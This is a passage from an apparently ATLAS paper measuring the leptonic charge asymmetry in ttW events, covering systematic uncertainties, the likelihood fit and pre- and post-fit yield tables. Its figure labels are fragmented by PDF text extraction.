+top-quark or top-antiquark decays and leptons from associated 𝑊 boson decays are defined. They are the
+masses of the two systems formed from the lepton and the closest and second closest 𝑏-jets, as well as the
+angular distances between the lepton and these 𝑏-jets: 𝑚ℓ𝑏0, 𝑚ℓ𝑏1, Δ𝑅ℓ𝑏0, Δ𝑅ℓ𝑏1. The last variable is the
+lepton 𝑝T. For events with only one 𝑏-tagged jet, if any of the remaining jets pass a looser DL1r WP with
+respect to the default selection described in Section 4, the jet with the highest DL1r score is selected. If
+none of the other jets pass any 𝑏-tagging WP, the variables are constructed with the closest untagged jet.
+The training of the classifier is performed using the nominal 𝑡¯𝑡𝑊 Sherpa MC sample. The BDT classifier
+is implemented using the Scikit-learn [76] package. A 𝑘-fold cross validation with five folds is used for
+the training and testing samples. The fraction of events in the 𝑡¯𝑡𝑊 sample in which the even lepton with
+the highest BDT discriminator value originates from a top-quark or top-antiquark decay is estimated to be
+about 71%, using the information from the MC event record.
+7 Systematic uncertainties in background and signal estimation
+The predictions of the 𝑡¯𝑡𝑊 signal and the SM backgrounds are, in addition to the statistical uncertainties of
+their corresponding MC samples, affected by several sources of experimental and theoretical systematic
+uncertainty. These uncertainties are classified into the different categories that are described in the
+following.
+7.1 Detector-related uncertainties
+Detector-related uncertainties include the simulation of pile-up events, the integrated luminosity, and
+effects related to the reconstruction and ID of the particle candidates used in the analysis.
+The uncertainty in the combined 2015–2018 integrated luminosity is 1.7% [24], obtained using the
+LUCID-2 detector [25] for the primary luminosity measurements. This systematic uncertainty affects all
+processes modelled using MC simulations apart from the processes where the associated normalisation
+factors are obtained from data in the simultaneous fit (see Section 8).
+Uncertainties in the lepton reconstruction, ID, isolation and trigger efficiencies [62, 63, 77], electron energy
+and muon momentum scale and resolution [62, 63] are considered. Uncertainties associated with jets arise
+from the jet energy scale (JES), the jet energy resolution (JER) and the JVT jet selection requirement [68].
+11
+
+In addition, uncertainties associated with the pile-up rejection [69], the scale and resolution of the 𝐸miss
+T
+[73],
+and the 𝑏-tagging efficiencies [71, 78, 79] are considered.
+7.2 Signal and background modelling uncertainties
+Different sources of systematic uncertainty in the theoretical predictions of the 𝑡¯𝑡𝑊 signal are considered.
+To evaluate the effect of 𝜇r and 𝜇f uncertainties, the scale factors used in the ME of the Sherpa 𝑡¯𝑡𝑊
+sample are varied simultaneously, as well as individually, by factors of 2.0 and 0.5 relative to their nominal
+values (but not including combinations where the variations differ by a factor of four). Uncertainties
+associated with the PDF sets are evaluated according to the PDF4LHC prescription [80]. They include
+internal variations of the nominal PDF sets that are added in quadrature, uncertainties due to the choice of
+PDF set, as well as variations of the 𝛼s parameter. The systematic uncertainties due to the modelling of
+the ME are evaluated by comparing the prediction of the nominal MC sample with that of an alternative
+𝑡¯𝑡𝑊 sample simulated with MG5_aMC@NLO + Pythia and the FxFx algorithm. Furthermore, to
+evaluate the systematic uncertainties due to the PS, the hadronisation and the underlying event, the 𝑡¯𝑡𝑊
+Powheg + Pythia samples are compared with the Powheg + Herwig samples and their relative differences
+are applied as uncertainties in the nominal Sherpa prediction. As explained in Section 3, the alternative
+samples employed for the evaluation of modelling uncertainties are normalised to the same cross-sections
+as the respective nominal samples, so that the systematic uncertainties cover only differences between the
+shapes of kinematic variable distributions, but not the overall normalisations of the processes.
+For the theoretical systematic uncertainties in the 𝑡¯𝑡𝑍 background, the same prescriptions as for the 𝑡¯𝑡𝑊
+process are used to evaluate the effects of the 𝜇r and 𝜇f uncertainties. For the systematic uncertainties due
+to the PS, the hadronisation and the underlying event, the nominal 𝑡¯𝑡𝑍 prediction is compared with that of
+an alternative 𝑡¯𝑡𝑍 sample simulated with the same ME generator (MG5_aMC@NLO), but interfaced to
+Herwig instead of Pythia. Further alternative 𝑡¯𝑡𝑍 samples using a set of variations of the A14 tune’s
+parameters are used to evaluate the uncertainty associated with the ISR, as mentioned in Section 3.
+For the 𝑡¯𝑡𝐻, 𝑡𝑍𝑞 and 𝑊𝑍/𝑍𝑍 + jets backgrounds, 𝜇r and 𝜇f uncertainties are considered. To evaluate
+the uncertainty in the ME, the PS, the hadronisation and the underlying event of 𝑡¯𝑡𝐻, the nominal
+prediction is compared with those from the alternative 𝑡¯𝑡𝐻 MC samples that use either a different ME
+generator (MG5_aMC@NLO) or PS algorithm (Herwig). Furthermore, a normalisation uncertainty
+of +5.8% and −9.2% is applied for 𝑡¯𝑡𝐻, following the NLO (QCD + EW) calculations from Ref. [54].
+For the 𝑡𝑍𝑞 process, a normalisation uncertainty of 14% is applied, based on the dedicated ATLAS 𝑡𝑍𝑞
+measurement described in Ref. [81]. For the 𝑊𝑍/𝑍𝑍 + jets backgrounds, a conservative normalisation
+uncertainty of 20% is used to account for differences in the quality of 𝑊𝑍/𝑍𝑍 + jets modelling for different
+𝑏-jet multiplicities. This uncertainty is derived from the level of agreement between data and MC simulation
+in several validation regions enriched in 𝑊𝑍/𝑍𝑍 + jets.
+For the 𝑡¯𝑡 and 𝑍 + jets backgrounds, which can only contribute to 3ℓ final states via the presence of an
+additional fake or non-prompt lepton, 𝜇r and 𝜇f uncertainties are also considered. For the 𝑡¯𝑡 process, the
+PS, the hadronisation and the underlying event uncertainties are evaluated by comparing the nominal MC
+sample (Powheg + Pythia) with an equivalent 𝑡¯𝑡 sample with the same ME generator, but interfaced to
+Herwig. An extra uncertainty associated with the photon radiation in 𝑡¯𝑡 events is applied by comparing the
+12
+
+predictions from 𝑡¯𝑡 and 𝑡¯𝑡 + 𝑡¯𝑡𝛾.5 For 𝑍 + jets, the uncertainties in the ME, the PS, the hadronisation and the
+underlying event are evaluated from a comparison between the nominal MC samples (Powheg + Pythia)
+and alternative 𝑍 + jets (𝑍𝛾) samples, which are simulated with Sherpa. The same approach as for 𝑡¯𝑡 is
+followed to account for the uncertainty associated with the photon radiation in 𝑍 + jets events.
+For the other (minor) background processes (𝑡𝑊, 𝑡𝑊𝑍, 𝑡¯𝑡𝑊𝑊, 𝐻 +𝑊/𝑍, 𝑉𝑉𝑉 (𝑉 = 𝑊/𝑍), 𝑡𝑡¯𝑡 and 𝑡¯𝑡𝑡¯𝑡),
+which typically contribute less than 2% to the total event yields in the SRs, a normalisation uncertainty of
+30% is applied. This is a conservative approach, which should cover the known theoretical uncertainties of
+these backgrounds. The same also applies to the MC sample generated with 𝑡¯𝑡𝑊 EW corrections at the
+order 𝛼3𝛼s, as this is treated as a background (see Section 3).
+8 Extraction of the charge asymmetry at reconstruction level
+To extract the leptonic charge asymmetry from the reconstructed leptons (detector level), a simultaneous fit
+to the numbers of observed events in the SRs and CRs, as defined in Section 5, is performed. The fit is
+based on the profile-likelihood technique, with a binned likelihood function defined as a product of Poisson
+probabilities of the observed event yields in all the regions. Systematic uncertainties (see Section 7) are
+taken into account in the likelihood function, each as a nuisance parameter constrained by a Gaussian
+probability density function [82].
+The normalisation factors for the most relevant background processes in the SRs, namely 𝑡¯𝑡𝑍, non-prompt
+electrons/muons from HF decays and electrons from 𝛾-conversions, are allowed to float freely in the fit.
+Events containing non-prompt leptons from HF decays and electrons from 𝛾-conversions are selected
+from processes that cannot contribute directly to the 3ℓ final state: 𝑡¯𝑡, 𝑡𝑊 and 𝑍 + jets. These events are
+identified by requiring at least one lepton to originate from either a 𝑏/𝑐-hadron (HF𝑒/𝜇) or a converted
+photon (𝛾-conversion) according to the MC event records of the selected leptons. The variables used as
+input to the binned likelihood fit are the 𝑝T of the third (softest) lepton in CR-HF𝑒 and CR-HF𝜇, as well as
+the 𝐻T in CR-𝑡¯𝑡𝑍,6 since their distributions show a sizeable shape difference between the targeted processes
+and the other SM backgrounds. In the SRs and CR-𝛾-conv, the total numbers of events are used.
+Each of the four SRs is separated into Δ𝜂ℓ
+BDT ≤ 0 (Δ𝜂−) and Δ𝜂ℓ
+BDT > 0 (Δ𝜂+) regions. For the Δ𝜂− (Δ𝜂+)
+set of regions, a single factor NΔ𝜂− (NΔ𝜂+) models the normalisations of the signal yields (relatively to
+the SM cross-section) across the four SRs. Accordingly, the 𝐴ℓ
+c value is extracted as a function of these
+normalisation factors. Similarly, separate normalisation factors in the Δ𝜂− and Δ𝜂+ sets of regions for the
+major background processes are allowed to float freely in the fit to avoid a bias from an assumption of
+SM asymmetries for these processes in data.7 An ‘injection test’ is performed to verify that the fit result
+matches an injected non-SM 𝐴ℓ
+c value and the fit can deal correctly with the fact that the different SRs have
+different charge asymmetries.
+The predicted and observed numbers of events in the SRs and CRs before performing the simultaneous
+fit (‘pre-fit’) are given in Table 2. The indicated uncertainties consider statistical as well as all experimental
+and theoretical systematic uncertainties described in Section 7. The numbers of events in the SRs and
+5 The overlap between the photons radiated within the PS in the 𝑡¯𝑡 (𝑍 + jets) simulation and the photons coming from 𝑡¯𝑡𝛾 (𝑍𝛾) is
+removed from 𝑡¯𝑡 (𝑍 + jets) for this comparison. This is done at particle level, where final-state photons that do not originate
+from prompt particle decays are removed if they are inside the kinematic phase-space covered by the 𝑡¯𝑡𝛾 (𝑍𝛾) simulation.
+6 The 𝐻T is defined as the scalar sum of the 𝑝T of the selected jets in the event.
+7 The inclusive charge asymmetries at parton level for the simulated 𝑡¯𝑡𝑍 and 𝑡¯𝑡 samples are 𝐴ℓc = −0.015 and 0.004, respectively.
+13
+
+CRs after the fit to data (‘post-fit’) are given in Table 3. Comparisons between data and the post-fit SM
+predictions for the variables that are used for the binned likelihood fit are given in Figure 2 for CR-HF𝑒 and
+CR-HF𝜇, and in Figure 3 for CR-𝑡¯𝑡𝑍 and CR-𝛾-conv. The data and the post-fit predictions for Δ𝜂− and
+Δ𝜂+ in the four SRs are shown in Figure 4.
+Table 2: The predicted and observed numbers of events in the control and signal regions. The predictions are shown
+before the fit to data. The indicated uncertainties consider statistical as well as all experimental and theoretical
+systematic uncertainties. Background categories with event yields shown as ‘—’ do contribute less than 0.01 to a
+region.
+Process
+CR-𝑡¯𝑡𝑍
+CR-HF𝑒
+CR-HF𝜇
+CR-𝛾-conv
+Δ𝜂−
+Δ𝜂+
+Δ𝜂−
+Δ𝜂+
+Δ𝜂−
+Δ𝜂+
+Δ𝜂−
+Δ𝜂+
+𝑡¯𝑡𝑊 (QCD)
+1.8 ± 0.4
+1.49 ± 0.19
+1.18 ± 0.19
+1.13 ± 0.18
+1.72 ± 0.20
+1.37 ± 0.28
+4.1 ± 0.7
+2.92 ± 0.18
+𝑡¯𝑡𝑊 (EW)
+0.18 ± 0.07
+0.16 ± 0.06
+0.10 ± 0.04
+0.09 ± 0.04
+0.09 ± 0.04
+0.14 ± 0.05
+0.23 ± 0.08
+0.36 ± 0.12
+𝑡¯𝑡𝑍
+107
+± 6
+107
+± 6
+1.42 ± 0.23
+1.5 ± 0.4
+2.20 ± 0.23
+2.00 ± 0.14
+4.04 ± 0.19
+3.65 ± 0.32
+HF𝑒
+–
+–
+350
+± 40
+362
+± 27
+0.18 ± 0.11
+0.20 ± 0.09
+1.0 ± 0.6
+0.67 ± 0.35
+HF𝜇
+0.14 ± 0.08
+0.19 ± 0.09
+0.20 ± 0.09
+0.28 ± 0.10
+520
+± 40
+530
+± 50
+0.9 ± 0.5
+1.1 ± 0.9
+𝛾-conv.
+0.55 ± 0.14
+0.41 ± 0.13
+3.8 ± 2.5
+4.7 ± 2.9
+2.6 ± 2.4
+3.3 ± 2.5
+18.8 ± 1.4
+17.5 ± 1.3
+𝑡¯𝑡𝐻
+3.3 ± 0.4
+3.20 ± 0.32
+0.87 ± 0.13
+0.89 ± 0.11
+1.18 ± 0.11
+1.22 ± 0.22
+1.48 ± 0.20
+1.5 ± 0.4
+𝑡𝑍𝑞
+12.6 ± 2.2
+11.0 ± 1.9
+0.48 ± 0.11
+0.43 ± 0.09
+0.95 ± 0.18
+0.81 ± 0.15
+0.68 ± 0.12
+0.70 ± 0.13
+𝑊𝑍/𝑍𝑍 + jets
+12
+± 4
+12
+± 4
+3.0 ± 0.9
+3.3 ± 1.0
+7.2 ± 2.4
+7.9 ± 2.5
+3.1 ± 0.9
+2.9 ± 0.8
+Other
+10.7 ± 3.3
+10.2 ± 3.3
+14
+± 4
+13
+± 5
+17
+± 7
+17
+± 6
+1.6 ± 0.8
+1.5 ± 0.6
+SM total
+148
+± 10
+146
+± 10
+380
+± 40
+387
+± 28
+550
+± 40
+560
+± 50
+35.9 ± 2.4
+32.9 ± 2.3
+Data
+156
+176
+315
+373
+551
+592
+34
+40
+Process
+SR-1𝑏-low𝑁jets
+SR-1𝑏-high𝑁jets
+SR-2𝑏-low𝑁jets
+SR-2𝑏-high𝑁jets
+Δ𝜂−
+Δ𝜂+
+Δ𝜂−
+Δ𝜂+
+Δ𝜂−
+Δ𝜂+
+Δ𝜂−
+Δ𝜂+
+𝑡¯𝑡𝑊 (QCD)
+19
+± 3
+17
+± 4
+9.2 ± 1.1
+8.2 ± 1.1
+25
+± 7
+21
+± 6
+14.7 ± 3.4
+12.2 ± 1.9
+𝑡¯𝑡𝑊 (EW)
+1.06 ± 0.34
+1.3 ± 0.4
+1.05 ± 0.34
+1.07 ± 0.34
+1.2 ± 0.4
+1.3 ± 0.4
+1.8 ± 0.6
+1.6 ± 0.5
+𝑡¯𝑡𝑍
+12.0 ± 1.0
+12.1 ± 1.1
+15.5 ± 1.4
+15.5 ± 1.1
+11.4 ± 1.4
+10.8 ± 1.4
+26.2 ± 1.8
+25.8 ± 1.7
+HF𝑒
+7.2 ± 1.2
+7.5 ± 1.5
+1.7 ± 0.7
+1.6 ± 0.6
+0.7 ± 0.5
+0.6 ± 0.5
+0.69 ± 0.35
+0.37 ± 0.19
+HF𝜇
+12.5 ± 2.0
+13
+± 4
+3.2 ± 0.8
+3.5 ± 1.3
+1.35 ± 0.34
+1.11 ± 0.33
+1.0 ± 0.4
+0.9 ± 0.5
+𝛾-conv.
+6.7 ± 0.9
+6.1 ± 1.0
+3.1 ± 0.5
+3.4 ± 0.8
+6.1 ± 0.8
+6.9 ± 0.8
+4.4 ± 0.7
+4.6 ± 0.6
+𝑡¯𝑡𝐻
+5.5 ± 0.8
+5.6 ± 0.8
+8.6 ± 0.8
+8.7 ± 0.9
+5.5 ± 1.1
+5.5 ± 1.0
+14.1 ± 1.8
+14.2 ± 1.7
+𝑡𝑍𝑞
+5.1 ± 0.9
+4.2 ± 0.7
+1.40 ± 0.31
+1.15 ± 0.27
+2.8 ± 0.5
+2.3 ± 0.4
+1.92 ± 0.34
+1.64 ± 0.30
+𝑊𝑍/𝑍𝑍 + jets
+15
+± 4
+14
+± 4
+8.0 ± 2.8
+7.6 ± 2.5
+2.9 ± 0.9
+2.2 ± 0.7
+2.2 ± 0.7
+2.2 ± 0.7
+Other
+5.6 ± 2.0
+5.1 ± 1.6
+4.5 ± 2.4
+4.7 ± 1.5
+2.6 ± 1.1
+2.9 ± 1.3
+10
+± 6
+9
+± 5
+SM total
+89
+± 6
+85
+± 7
+56
+± 6
+56
+± 6
+59
+± 9
+55
+± 7
+77
+± 8
+73
+± 7
+Data
+94
+89
+50
+69
+84
+81
+89
+81
+The normalisation factors for the major background processes, N𝑡 ¯𝑡𝑍, N𝑒
+𝛾-conv, N𝑒
+HF and N 𝜇
+HF (all obtained
+separately for Δ𝜂− and Δ𝜂+), together with NΔ𝜂− and the 𝐴ℓ
+c value for the 𝑡¯𝑡𝑊 signal, are given in Figure 5.
+The normalisation factor for the 𝑡¯𝑡𝑊 process was checked and found to be (within its uncertainty) compatible
+with the latest ATLAS and CMS 𝑡¯𝑡𝑊 cross-section measurements [7, 8]. Tests using MC simulation were
+also performed to validate that the extracted 𝐴ℓ
+c value is not biased by the absolute normalisation of the
+𝑡¯𝑡𝑊 process.
+The normalisation factors for some of the background processes (in particular N𝑡 ¯𝑡𝑍 and N𝑒
+𝛾-conv) show
+small differences between Δ𝜂− and Δ𝜂+. As these processes are not expected to have significant charge
+14
+
+Table 3: The predicted and observed numbers of events in the control and signal regions. The predictions are
+shown after the fit to data. The indicated uncertainties consider statistical as well as all experimental and theoretical
+systematic uncertainties. Background categories with event yields shown as ‘—’ do contribute less than 0.01 to a
+region.
+Process
+CR-𝑡¯𝑡𝑍
+CR-HF𝑒
+CR-HF𝜇
+CR-𝛾-conv
+Δ𝜂−
+Δ𝜂+
+Δ𝜂−
+Δ𝜂+
+Δ𝜂−
+Δ𝜂+
+Δ𝜂−
+Δ𝜂+
+𝑡¯𝑡𝑊 (QCD)
+3.2 ± 0.7
+2.2 ± 0.7
+1.8 ± 0.5
+1.7 ± 0.5
+2.6 ± 0.8
+1.8 ± 0.8
+7.0 ± 1.3
+4.4 ± 1.3
+𝑡¯𝑡𝑊 (EW)
+0.18 ± 0.06
+0.16 ± 0.05
+0.10 ± 0.03
+0.09 ± 0.03
+0.09 ± 0.03
+0.14 ± 0.04
+0.23 ± 0.07
+0.36 ± 0.11
+𝑡¯𝑡𝑍
+114
+± 13
+138
+± 14
+1.45 ± 0.27
+1.7 ± 0.4
+2.3 ± 0.4
+2.55 ± 0.35
+4.3 ± 0.6
+4.6 ± 0.6
+HF𝑒
+–
+–
+290
+± 18
+346
+± 20
+0.15 ± 0.02
+0.19 ± 0.02
+0.59 ± 0.27
+0.52 ± 0.17
+HF𝜇
+0.13 ± 0.01
+0.20 ± 0.02
+0.20 ± 0.02
+0.28 ± 0.03
+516
+± 25
+556
+± 25
+0.8 ± 0.4
+1.3 ± 0.8
+𝛾-conv.
+0.40 ± 0.18
+0.52 ± 0.16
+2.8 ± 2.2
+6
+± 4
+1.9 ± 2.0
+4.2 ± 3.4
+14
+± 6
+22
+± 7
+𝑡¯𝑡𝐻
+3.3 ± 0.4
+3.23 ± 0.31
+0.86 ± 0.13
+0.87 ± 0.10
+1.16 ± 0.11
+1.19 ± 0.22
+1.49 ± 0.20
+1.6 ± 0.4
+𝑡𝑍𝑞
+12.6 ± 2.2
+11.0 ± 1.9
+0.47 ± 0.10
+0.42 ± 0.08
+0.95 ± 0.17
+0.79 ± 0.14
+0.68 ± 0.11
+0.70 ± 0.12
+𝑊𝑍/𝑍𝑍 + jets
+10.2 ± 2.9
+10.6 ± 3.1
+2.6 ± 0.7
+2.8 ± 0.7
+6.3 ± 1.7
+6.7 ± 1.8
+2.6 ± 0.7
+2.5 ± 0.6
+Other
+10.8 ± 3.2
+10.0 ± 2.9
+14
+± 4
+13
+± 5
+18
+± 7
+18
+± 6
+1.7 ± 0.8
+1.7 ± 0.6
+SM total
+155
+± 12
+175
+± 13
+315
+± 18
+373
+± 19
+550
+± 23
+591
+± 24
+33
+± 6
+40
+± 6
+Data
+156
+176
+315
+373
+551
+592
+34
+40
+Process
+SR-1𝑏-low𝑁jets
+SR-1𝑏-high𝑁jets
+SR-2𝑏-low𝑁jets
+SR-2𝑏-high𝑁jets
+Δ𝜂−
+Δ𝜂+
+Δ𝜂−
+Δ𝜂+
+Δ𝜂−
+Δ𝜂+
+Δ𝜂−
+Δ𝜂+
+𝑡¯𝑡𝑊 (QCD)
+32
+± 6
+27
+± 6
+14
+± 4
+12.1 ± 3.4
+46
+± 9
+36
+± 8
+26
+± 6
+19
+± 5
+𝑡¯𝑡𝑊 (EW)
+1.04 ± 0.32
+1.3 ± 0.4
+1.04 ± 0.32
+1.05 ± 0.32
+1.2 ± 0.4
+1.3 ± 0.4
+1.8 ± 0.5
+1.6 ± 0.5
+𝑡¯𝑡𝑍
+12.4 ± 2.0
+15.0 ± 2.2
+16.0 ± 2.2
+19.6 ± 2.3
+12.3 ± 2.3
+14.3 ± 2.6
+27.6 ± 3.3
+33.2 ± 3.5
+HF𝑒
+6.4 ± 1.0
+6.8 ± 0.8
+1.5 ± 0.5
+1.7 ± 0.4
+0.40 ± 0.20
+0.79 ± 0.35
+0.45 ± 0.14
+0.39 ± 0.14
+HF𝜇
+12.5 ± 1.5
+13.6 ± 2.5
+3.1 ± 0.6
+3.6 ± 0.9
+1.30 ± 0.23
+1.19 ± 0.19
+1.04 ± 0.29
+0.9 ± 0.5
+𝛾-conv.
+4.9 ± 2.3
+7.7 ± 2.6
+2.3 ± 1.1
+4.3 ± 1.6
+4.6 ± 2.1
+8.8 ± 2.9
+3.3 ± 1.5
+5.9 ± 1.9
+𝑡¯𝑡𝐻
+5.4 ± 0.8
+5.5 ± 0.8
+8.4 ± 0.8
+8.6 ± 0.8
+5.5 ± 1.1
+5.6 ± 1.0
+14.3 ± 1.7
+14.4 ± 1.7
+𝑡𝑍𝑞
+5.0 ± 0.9
+4.1 ± 0.7
+1.38 ± 0.27
+1.16 ± 0.24
+2.8 ± 0.5
+2.3 ± 0.4
+1.93 ± 0.33
+1.65 ± 0.29
+𝑊𝑍/𝑍𝑍 + jets
+12.6 ± 3.0
+12.3 ± 3.0
+6.7 ± 2.0
+6.5 ± 1.8
+2.5 ± 0.7
+1.9 ± 0.5
+1.9 ± 0.6
+1.9 ± 0.5
+Other
+6.0 ± 2.1
+5.2 ± 1.6
+3.6 ± 1.8
+4.6 ± 1.4
+2.9 ± 1.2
+3.3 ± 1.3
+8
+± 4
+8
+± 4
+SM total
+99
+± 6
+98
+± 6
+58
+± 4
+63
+± 4
+80
+± 8
+75
+± 7
+85
+± 6
+86
+± 5
+Data
+94
+89
+50
+69
+84
+81
+89
+81
+asymmetries in the SM at this level of precision, there is an uncertainty on how best to model this data. In
+the nominal fit, due to the independent normalisation factors for Δ𝜂− and Δ𝜂+ in the CRs, the observed
+background asymmetries are precisely modelled. To account for the possibility that the observed asymmetry
+is due to a systematic effect, an alternative fit is performed where only one normalisation factor is assigned
+to each of these processes (thus fixing their asymmetries to the SM expectation). The difference between
+the results of these two fit set-ups is assigned as an extra systematic uncertainty in the extracted 𝐴ℓ
+c value.
+This uncertainty (denoted as Δ𝜂± CR-dependency) is found to be 0.046 and is one of the leading systematic
+uncertainties.
+The leptonic charge asymmetry in 𝑡¯𝑡𝑊 is found to be
+𝐴ℓ
+c (𝑡¯𝑡𝑊) = −0.123 ± 0.136 (stat.) ± 0.051 (syst.),
+15
+
+This is consistent with the SM expectation of
+𝐴ℓ
+c (𝑡¯𝑡𝑊)SM = −0.084 +0.005
+−0.003 (scale) ± 0.006 (MC stat.),
+calculated using the nominal 𝑡¯𝑡𝑊 Sherpa simulation. The contributions from the most relevant uncertainties
+are summarised in Table 4. The uncertainties are symmetrised and grouped into several type-related
+categories and are shown together with the total systematic and statistical uncertainties. The dominant
+systematic uncertainties are the Δ𝜂± CR-dependency, the JER, as well as the modelling uncertainties of the
+𝑡¯𝑡𝑊 and 𝑡¯𝑡𝑍 MC processes detailed in Section 7. Overall, the result is limited by the statistical uncertainty
+of the data.
+Table 4: List of the most relevant systematic and statistical uncertainties in the extracted leptonic charge asymmetry
+𝐴ℓ
+c (𝑡¯𝑡𝑊) from the simultaneous fit. For this table, the uncertainties are symmetrised and grouped into categories. The
+sum in quadrature of the individual uncertainties is not necessarily equal to the total uncertainty due to correlations
+introduced by the fit.
+Δ𝐴ℓc (𝑡 ¯𝑡𝑊 )
+Experimental uncertainties
+Jet energy resolution
+0.013
+Pile-up
+0.007
+𝑏-tagging
+0.005
+Leptons
+0.004
+𝐸miss
+T
+0.004
+Jet energy scale
+0.003
+Luminosity
+0.001
+MC modelling uncertainties
+𝑡 ¯𝑡𝑊 modelling
+0.013
+𝑡 ¯𝑡𝑍 modelling
+0.010
+HF𝑒/𝜇 modelling
+0.006
+𝑡 ¯𝑡𝐻 modelling
+0.005
+Other uncertainties
+Δ𝜂± CR-dependency
+0.046
+MC statistical uncertainty
+0.019
+Data statistical uncertainty
+0.136
+Total uncertainty
+0.145
+9 Unfolding and extraction of the charge asymmetry at particle level
+To obtain the charge asymmetry at particle level in a specific fiducial volume, an unfolding procedure
+is performed to correct for detector effects, as well as for signal efficiency and acceptance effects. The
+procedure and the relevant definitions are explained in the following.
+16
+
+15
+20
+25
+30
+35
+40
+45
+50
+ [GeV]
+T
+3rd Leading Lepton p
+0.5
+0.75
+1
+1.25
+ 
+Data / Pred.
+0
+50
+100
+150
+200
+250
+Events
+ATLAS
+-1
+ = 13 TeV, 139 fb
+s
+−
+η
+∆
+CR-HFe, 
+Post-fit
+Data
+ (QCD)
+W
+tt
+ (EW)
+W
+tt
+Z
+tt
+e
+HF
+µ
+HF
+-conv.
+γ
+H
+tt
+tZq
++jets
+WZ/ZZ
+Other
+Uncertainty
+(a)
+15
+20
+25
+30
+35
+40
+45
+50
+ [GeV]
+T
+3rd Leading Lepton p
+0.5
+0.75
+1
+1.25
+ 
+Data / Pred.
+0
+50
+100
+150
+200
+250
+300
+350
+400
+Events
+ATLAS
+-1
+ = 13 TeV, 139 fb
+s
++
+η
+∆
+CR-HFe, 
+Post-fit
+Data
+ (QCD)
+W
+tt
+ (EW)
+W
+tt
+Z
+tt
+e
+HF
+µ
+HF
+-conv.
+γ
+H
+tt
+tZq
++jets
+WZ/ZZ
+Other
+Uncertainty
+(b)
+15
+20
+25
+30
+35
+40
+45
+50
+ [GeV]
+T
+3rd Leading Lepton p
+0.5
+0.75
+1
+1.25
+ 
+Data / Pred.
+0
+50
+100
+150
+200
+250
+300
+350
+400
+Events
+ATLAS
+-1
+ = 13 TeV, 139 fb
+s
+−
+η
+∆
+, 
+µ
+CR-HF
+Post-fit
+Data
+ (QCD)
+W
+tt
+ (EW)
+W
+tt
+Z
+tt
+e
+HF
+µ
+HF
+-conv.
+γ
+H
+tt
+tZq
++jets
+WZ/ZZ
+Other
+Uncertainty
+(c)
+15
+20
+25
+30
+35
+40
+45
+50
+ [GeV]
+T
+3rd Leading Lepton p
+0.5
+0.75
+1
+1.25
+ 
+Data / Pred.
+0
+50
+100
+150
+200
+250
+300
+350
+400
+Events
+ATLAS
+-1
+ = 13 TeV, 139 fb
+s
++
+η
+∆
+, 
+µ
+CR-HF
+Post-fit
+Data
+ (QCD)
+W
+tt
+ (EW)
+W
+tt
+Z
+tt
+e
+HF
+µ
+HF
+-conv.
+γ
+H
+tt
+tZq
++jets
+WZ/ZZ
+Other
+Uncertainty
+(d)
+Figure 2: Comparison between data and the post-fit predictions in (a,b) CR-HF𝑒 and (c,d) CR-HF𝜇. The distributions
+show the 𝑝T of the third lepton (electron or muon), which is the variable that is used for the binned likelihood
+fit. The regions are separated between Δ𝜂ℓ
+BDT ≤ 0 (Δ𝜂−) and Δ𝜂ℓ
+BDT > 0 (Δ𝜂+). The error bands include the total
+uncertainties in the post-fit predictions. The ratios of the data to the total post-fit predictions are shown in the lower
+panels. Events with the 𝑝T of the third lepton above 50 GeV are included in the rightmost bins.
+17
+
+200
+300
+400
+500
+600
+700
+800
+900
+1000
+ [GeV]
+T
+H
+0.5
+0.75
+1
+1.25
+ 
+Data / Pred.
+0
+20
+40
+60
+80
+100
+Events
+ATLAS
+-1
+ = 13 TeV, 139 fb
+s
+−
+η
+∆
+Z, 
+tt
+CR-
+Post-fit
+Data
+ (QCD)
+W
+tt
+ (EW)
+W
+tt
+Z
+tt
+µ
+HF
+-conv.
+γ
+H
+tt
+tZq
++jets
+WZ/ZZ
+Other
+Uncertainty
+(a)
+200
+300
+400
+500
+600
+700
+800
+900
+1000
+ [GeV]
+T
+H
+0.5
+0.75
+1
+1.25
+ 
+Data / Pred.
+0
+20
+40
+60
+80
+100
+120
+Events
+ATLAS
+-1
+ = 13 TeV, 139 fb
+s
++
+η
+∆
+Z, 
+tt
+CR-
+Post-fit
+Data
+ (QCD)
+W
+tt
+ (EW)
+W
+tt
+Z
+tt
+µ
+HF
+-conv.
+γ
+H
+tt
+tZq
++jets
+WZ/ZZ
+Other
+Uncertainty
+(b)
+−
+η
+∆
++
+η
+∆
+0.6
+0.8
+1
+1.2
+1.4
+Data / Pred.
+10
+20
+30
+40
+50
+60
+70
+80
+90
+Events
+ATLAS
+-1
+ = 13 TeV, 139 fb
+s
+-conv
+γ
+CR-
+Post-fit
+Data
+ (QCD)
+W
+tt
+ (EW)
+W
+tt
+Z
+tt
+e
+HF
+µ
+HF
+-conv.
+γ
+H
+tt
+tZq
++jets
+WZ/ZZ
+Other
+Uncertainty
+(c)
+Figure 3: Comparison between data and the post-fit predictions in (a,b) CR-𝑡¯𝑡𝑍 and (c) CR-𝛾-conv. The distributions
+are shown for the variables that are used for the binned likelihood fit: 𝐻T for CR-𝑡¯𝑡𝑍 and the total event yields for
+CR-𝛾-conv. The regions are separated between Δ𝜂ℓ
+BDT ≤ 0 (Δ𝜂−) and Δ𝜂ℓ
+BDT > 0 (Δ𝜂+). The error bands include the
+total uncertainties in the post-fit predictions. The ratios of the data to the total post-fit predictions are shown in the
+lower panels. Events with an 𝐻T above 1 TeV are included in the rightmost bins of (a) and (b).
+18
+
+−
+η
+∆
+, 
+jets
+N
+-low
+b
+SR-1
++
+η
+∆
+, 
+jets
+N
+-low
+b
+SR-1
+−
+η
+∆
+, 
+jets
+N
+-high
+b
+SR-1
++
+η
+∆
+, 
+jets
+N
+-high
+b
+SR-1
+−
+η
+∆
+, 
+jets
+N
+-low
+b
+SR-2
++
+η
+∆
+, 
+jets
+N
+-low
+b
+SR-2
+−
+η
+∆
+, 
+jets
+N
+-high
+b
+SR-2
++
+η
+∆
+, 
+jets
+N
+-high
+b
+SR-2
+0.6
+0.8
+1
+1.2
+1.4
+Data / Pred.
+20
+40
+60
+80
+100
+120
+140
+160
+180
+200
+Events
+ATLAS
+-1
+ = 13 TeV, 139 fb
+s
+SR summary
+Post-fit
+Data
+ (QCD)
+W
+tt
+ (EW)
+W
+tt
+Z
+tt
+e
+HF
+µ
+HF
+-conv.
+γ
+H
+tt
+tZq
++jets
+WZ/ZZ
+Other
+Uncertainty
+Figure 4: Comparison between data and the post-fit predictions for Δ𝜂ℓ
+BDT ≤ 0 (Δ𝜂−) and Δ𝜂ℓ
+BDT > 0 (Δ𝜂+) in the
+four SRs. The error band includes the total uncertainties of the post-fit predictions. The ratio of the data to the total
